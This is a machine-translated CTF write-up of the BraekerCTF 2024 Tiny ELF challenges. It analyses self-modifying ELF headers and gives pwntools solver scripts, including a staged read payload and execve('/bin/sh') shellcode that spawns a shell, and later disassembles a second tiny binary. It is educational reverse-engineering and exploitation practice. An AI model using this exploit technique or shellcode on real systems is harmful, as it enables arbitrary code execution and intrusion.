\n\nThis page has been machine-translated from the original page.
\n
I participated in BraekerCTF 2024. The Tiny ELF challenges were particularly interesting, so I’m writing up my solutions.
\n\n\n\n“This part will be the head, ” the nurse explains. The proud android mother looks at her newborn for the first time. “However, ” the nurse continues, “we noticed a slight growing problem in its code. Don’t worry, we have a standard procedure for this. A human just needs to do a quick hack and it should continue to grow in no time.”
\nThe hospital hired you to perform the procedure. Do you think you can manage?
\nThe embryo is:\nf0VMRgEBAbADWTDJshLNgAIAAwABAAAAI4AECCwAAAAAAADo3////zQAIAABAAAAAAAAAACABAgAgAQITAAAAEwAAAAHAAAAABAAAA==
\n
Decoding the Base64 text given in the problem statement yields a very small 32-bit ELF binary.
\nWe can also see that write and execute permissions are assigned to all regions, including the ELF header itself.
\nIt appears that this tiny binary is created by interpreting the bytes inside the ELF header as executable code.
\nThe technique for crafting such Tiny ELF binaries is described in the following articles:
\nReference: Tiny ELF Files: Revisited in 2021
\nReference: A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux
\nThis binary could not be disassembled properly with Ghidra, but using IDA we were able to obtain the following code.
\nAs shown above, the code calls into the ELF header from the address designated as the entry point and executes the following instructions.
\nmov eax, 3 ; syscall number 3 (sys_read)\nmov ebx, 0 ; file descriptor 0 (stdin)\npop ecx\nxor cl,cl\nmov edx,0x18\nint 0x80\nadd al, [eax]\nadd eax,[eax]\nadd [eax],eaxHere, the x86 read system call, represented as ssize_t read(int fd, void buf[.count], size_t count);, is invoked.
Since 0x18 is stored in edx, the maximum input size is limited to 0x18 bytes.
\nReference: read(2) - Linux manual page
\nNormally ecx holds the address of the buffer that receives the input bytes, but I wasn’t sure what address the sequence pop ecx; xor cl,cl would produce.
First, let’s think about what value is on the top of the stack when pop ecx executes.
Since this code is invoked via a call from the entry point, the stack top currently holds the return address (0x08048028).
Then, xor cl,cl zeroes out only the least-significant byte of ecx’s address.
From this, we can see that pop ecx; xor cl,cl effectively loads the image base into the ecx register.
In other words, the input received by read is written into the 0x18-byte region starting from the image base 0x8048000.
Since the next execution address after the system call is 0x8048010, it appears that we can achieve arbitrary code execution by overwriting the in-process executable code via read.
However, a shellcode of this size alone is not sufficient to spawn a shell.
\nLet’s think about how to obtain a shell using this vulnerability.
\nI wanted to verify the above assumptions with dynamic analysis in gdb, but due to the special structure of this challenge binary, gdb could not analyze it properly.
\nInstead, I built the following assembly and analyzed that program.
\n; nasm -f elf32 tmp.asm && ld -m elf_i386 -o tmp tmp.o\nsection .text\nglobal _start\n\nvlun:\n mov eax, 3 ; syscall number 3 (sys_read)\n mov ebx, 0 ; file descriptor 0 (stdin)\n pop ecx\n xor cl,cl\n mov edx,0x18\n int 0x80\n add al, [eax]\n add eax,[eax]\n add [eax],eax\n\n_start:\n call vlun\n xor al, 0However, when built with nasm -f elf32 tmp.asm && ld -m elf_i386 -s -o tmp tmp.o, the ELF header region does not have write and execute permissions, so it cannot fully replicate the behavior of the challenge binary.
To fix this, I read the byte at offset 0x4c — derived by adding 0x18 (the offset of the flags field within a 32-bit ELF program header) to the program header start obtained from ELF header offset 0x1C — and changed the flag value from 0x4 to 0x7.
\nUsing the same approach, I also patched the flags of the second program header.
\nReference: Executable and Linkable Format - Wikipedia
\nThis allowed us to assign write and execute permissions to both the ELF header region and the .text section in our custom binary.
Let’s try feeding byte data created with python3 -c 'import sys; sys.stdout.buffer.write(b\"\\x90\"*0x18)' > data as input.
As shown below, we can confirm that the code was successfully overwritten with the input values.
\nWe leave edx and ecx unchanged due to byte-size constraints, but the code uses the sys_write system call to output the data at the base address still stored in ecx to stdout.
from pwn import *\n\n# p = remote(\"0.cloud.chals.io\", 20922)\np = process(\"./download.elf\")\n\npayload = asm(\n\"\"\"\n nop\n nop\n nop\n nop\n mov eax, 4\n mov ebx, 1\n int 0x80\n jmp ecx\n\"\"\")\n\np.send(payload)\np.interactive()Running this script confirms that the byte data starting with NOPs is returned on stdout.
\nThis confirms that arbitrary code execution via jmp ecx is possible.
Finally, we obtain a shell using the following solver script.
\nHere, we use a second read call to write up to 0x7f bytes into the region immediately following the jmp ecx instruction, chaining into shellcode execution to obtain a shell.
from pwn import *\n\n# p = remote(\"0.cloud.chals.io\", 20922)\np = process(\"./download.elf\")\n\npayload = asm(\n\"\"\"\n nop\n nop\n nop\n nop\n nop\n nop\n nop\n mov al, 0x3\n add ecx,0x12\n mov dl, 0x7f\n int 0x80\n jmp ecx\n\"\"\")\n\n# print(shellcraft.sh())\nshellcode = asm(\n\"\"\"\n /* execve(path='/bin///sh', argv=['sh'], envp=0) */\n /* push b'/bin///sh\\x00' */\n push 0x68\n push 0x732f2f2f\n push 0x6e69622f\n mov ebx, esp\n /* push argument array ['sh\\x00'] */\n /* push 'sh\\x00\\x00' */\n push 0x1010101\n xor dword ptr [esp], 0x1016972\n xor ecx, ecx\n push ecx /* null terminate */\n push 4\n pop ecx\n add ecx, esp\n push ecx /* 'sh\\x00' */\n mov ecx, esp\n xor edx, edx\n /* call execve() */\n push SYS_execve /* 0xb */\n pop eax\n int 0x80\n\"\"\")\n\np.send(payload)\np.send(shellcode)\np.interactive()Running this solver retrieves the flag.
\nThe entry point is at 0x8048009.
\nSince neither a decompiler nor objdump could extract the correct code as-is, I first stripped the header with dd if=binary_shrink of=outdata bs=1 skip=9 and then obtained the assembly via objdump -D -Mintel,x86-64 -b binary -m i386 outdata.
It appears the binary begins by calling the address at offset 58 (0x31+9) of the original file, but the subsequent processing is not disassembled correctly.
\nNext, I extract and analyze the data starting at byte 58 (0x31+9) using dd if=binary_shrink of=outdata bs=1 skip=58.
It appears the code pops the next execution address after the entry point (which was on the stack top) into rdx, stores rdx into rax, and then jumps to address 0x78 (0x3e+58).
\nUsing the same approach, I disassemble the next block of code extracted with dd if=binary_shrink of=outdata bs=1 skip=120.
The memory state at the moment this code executes matches the state of the decrypted binary loaded into process memory, so we were able to retrieve the flag from this binary data.
\nI had no prior knowledge of Tiny ELF at all, so this was a great learning experience.
","fields":{"slug":"/breaker-ctf-2024-en","tagSlugs":["/tag/rev-en/","/tag/pwn-en/","/tag/english/"]},"frontmatter":{"date":"2024-02-25","description":"BraekerCTF 2024 Writeup","tags":["Rev (en)","Pwn (en)","English"],"title":"BraekerCTF 2024 Writeup","socialImage":{"publicURL":"/static/17b75e0e79b65ff02d61decee9d3f5db/breaker-ctf-2024.png"}}}},"pageContext":{"slug":"/breaker-ctf-2024-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}